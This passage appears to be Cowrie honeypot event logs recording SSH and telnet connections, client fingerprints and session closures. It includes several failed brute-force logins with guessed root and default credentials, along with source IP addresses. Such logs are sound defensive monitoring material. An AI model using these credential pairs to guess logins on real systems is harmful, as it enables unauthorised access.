{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:02.773583Z","src_ip":"109.237.96.109","session":"5c572431bdb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10101990","message":"login attempt [root/10101990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:03.057090Z","src_ip":"109.237.96.109","session":"5c572431bdb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:03.197727Z","src_ip":"103.77.175.15","session":"55cb29cafa2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.772390365600586,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:03.369999Z","src_ip":"69.4.83.194","session":"c9b15453240e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:04.153673Z","src_ip":"109.237.96.109","session":"5c572431bdb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":44794,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fdf9a326780","protocol":"telnet","message":"New connection: 79.139.59.21:44794 (159.203.135.109:23) [session: 0fdf9a326780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:57.430731Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57842,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd94c448718","protocol":"telnet","message":"New connection: 69.4.83.194:57842 (159.203.135.109:23) [session: bdd94c448718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:04.040585Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57770,"dst_ip":"159.203.135.109","dst_port":23,"session":"f34711deea7e","protocol":"telnet","message":"New connection: 69.4.83.194:57770 (159.203.135.109:23) [session: f34711deea7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:04.860367Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58396,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dc8301c9912","protocol":"telnet","message":"New connection: 69.4.83.194:58396 (159.203.135.109:23) [session: 5dc8301c9912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:05.639596Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":33902,"dst_ip":"159.203.135.109","dst_port":22,"session":"7425e53dca4c","protocol":"ssh","message":"New connection: 43.165.174.224:33902 (159.203.135.109:22) [session: 7425e53dca4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:15.300470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:15.306641Z","src_ip":"43.165.174.224","session":"7425e53dca4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:15.480876Z","src_ip":"43.165.174.224","session":"7425e53dca4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"administrador","message":"login attempt [administrador/administrador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:16.210656Z","src_ip":"43.165.174.224","session":"7425e53dca4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:17.391608Z","src_ip":"43.165.174.224","session":"7425e53dca4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34222,"dst_ip":"159.203.135.109","dst_port":23,"session":"3abd544231e7","protocol":"telnet","message":"New connection: 69.4.83.194:34222 (159.203.135.109:23) [session: 3abd544231e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:19.226658Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":46614,"dst_ip":"159.203.135.109","dst_port":23,"session":"9de9804b75fb","protocol":"telnet","message":"New connection: 79.139.59.21:46614 (159.203.135.109:23) [session: 9de9804b75fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:29.663845Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":56298,"dst_ip":"10.17.0.5","dst_port":23,"session":"87fd4730a834","protocol":"telnet","message":"New connection: 178.128.93.180:56298 (10.17.0.5:23) [session: 87fd4730a834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:31.793646Z"}
{"eventid":"cowrie.session.closed","duration":33.20178961753845,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:38.061934Z","src_ip":"69.4.83.194","session":"f34711deea7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.07230305671692,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:38.112758Z","src_ip":"69.4.83.194","session":"bdd94c448718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20584583282471,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:39.845291Z","src_ip":"69.4.83.194","session":"5dc8301c9912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.48820734024048,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:41.918823Z","src_ip":"79.139.59.21","session":"0fdf9a326780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.567580699920654,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:35:56.794105Z","src_ip":"69.4.83.194","session":"3abd544231e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55844,"dst_ip":"159.203.135.109","dst_port":23,"session":"40a001c40cb1","protocol":"telnet","message":"New connection: 69.4.83.194:55844 (159.203.135.109:23) [session: 40a001c40cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:12.656049Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33314,"dst_ip":"159.203.135.109","dst_port":23,"session":"16abb41ce15e","protocol":"telnet","message":"New connection: 69.4.83.194:33314 (159.203.135.109:23) [session: 16abb41ce15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:28.640622Z"}
{"eventid":"cowrie.session.closed","duration":65.82330298423767,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:37.616825Z","src_ip":"178.128.93.180","session":"87fd4730a834","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.02607536315918,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:42.689812Z","src_ip":"79.139.59.21","session":"9de9804b75fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":1900,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcd72adfc367","protocol":"ssh","message":"New connection: 38.93.206.2:1900 (159.203.135.109:22) [session: fcd72adfc367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:43.442153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:43.446557Z","src_ip":"38.93.206.2","session":"fcd72adfc367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:43.497132Z","src_ip":"38.93.206.2","session":"fcd72adfc367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123147","message":"login attempt [root/123147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:43.662573Z","src_ip":"38.93.206.2","session":"fcd72adfc367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:44.722573Z","src_ip":"38.93.206.2","session":"fcd72adfc367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39316,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7176290e9d5","protocol":"telnet","message":"New connection: 69.4.83.194:39316 (159.203.135.109:23) [session: c7176290e9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:46.952823Z"}
{"eventid":"cowrie.session.closed","duration":36.19660019874573,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:48.852555Z","src_ip":"69.4.83.194","session":"40a001c40cb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42852,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f8fc4961d23","protocol":"telnet","message":"New connection: 69.4.83.194:42852 (159.203.135.109:23) [session: 1f8fc4961d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:36:54.749228Z"}
{"eventid":"cowrie.session.closed","duration":34.55697846412659,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:03.197523Z","src_ip":"69.4.83.194","session":"16abb41ce15e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46078,"dst_ip":"159.203.135.109","dst_port":23,"session":"48828a991ca0","protocol":"telnet","message":"New connection: 69.4.83.194:46078 (159.203.135.109:23) [session: 48828a991ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:05.409202Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":39804,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ea65d48e252","protocol":"ssh","message":"New connection: 115.190.56.179:39804 (159.203.135.109:22) [session: 1ea65d48e252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:12.022076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:12.027791Z","src_ip":"115.190.56.179","session":"1ea65d48e252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:18.380265Z","src_ip":"115.190.56.179","session":"1ea65d48e252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":38218,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeea980d88e1","protocol":"telnet","message":"New connection: 178.128.93.180:38218 (10.17.0.5:23) [session: aeea980d88e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:19.292135Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":45362,"dst_ip":"10.17.0.5","dst_port":23,"session":"62e80487e4ee","protocol":"telnet","message":"New connection: 180.235.129.180:45362 (10.17.0.5:23) [session: 62e80487e4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:21.024632Z"}
{"eventid":"cowrie.session.closed","duration":34.445655822753906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:21.398362Z","src_ip":"69.4.83.194","session":"c7176290e9d5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"linus","password":"linus","message":"login attempt [linus/linus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:22.624091Z","src_ip":"115.190.56.179","session":"1ea65d48e252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":42014,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3e638113c42","protocol":"ssh","message":"New connection: 43.165.174.224:42014 (159.203.135.109:22) [session: d3e638113c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:23.022266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:23.027260Z","src_ip":"43.165.174.224","session":"d3e638113c42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:23.196509Z","src_ip":"43.165.174.224","session":"d3e638113c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:23.887336Z","src_ip":"115.190.56.179","session":"1ea65d48e252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.com","message":"login attempt [root/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:23.905642Z","src_ip":"43.165.174.224","session":"d3e638113c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:25.079350Z","src_ip":"43.165.174.224","session":"d3e638113c42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":38772,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8b024de15b8","protocol":"telnet","message":"New connection: 165.22.57.101:38772 (159.203.135.109:23) [session: d8b024de15b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:25.444022Z"}
{"eventid":"cowrie.session.closed","duration":34.61570453643799,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:29.364828Z","src_ip":"69.4.83.194","session":"1f8fc4961d23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62636065483093,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:39.035410Z","src_ip":"69.4.83.194","session":"48828a991ca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38262,"dst_ip":"159.203.135.109","dst_port":23,"session":"4604a2a232be","protocol":"telnet","message":"New connection: 69.4.83.194:38262 (159.203.135.109:23) [session: 4604a2a232be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:57.644481Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37550,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c3ed9708b8c","protocol":"telnet","message":"New connection: 69.4.83.194:37550 (159.203.135.109:23) [session: 5c3ed9708b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:57.688799Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":35458,"dst_ip":"159.203.135.109","dst_port":22,"session":"203424f1fb33","protocol":"ssh","message":"New connection: 62.133.62.83:35458 (159.203.135.109:22) [session: 203424f1fb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:59.790441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:37:59.795850Z","src_ip":"62.133.62.83","session":"203424f1fb33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.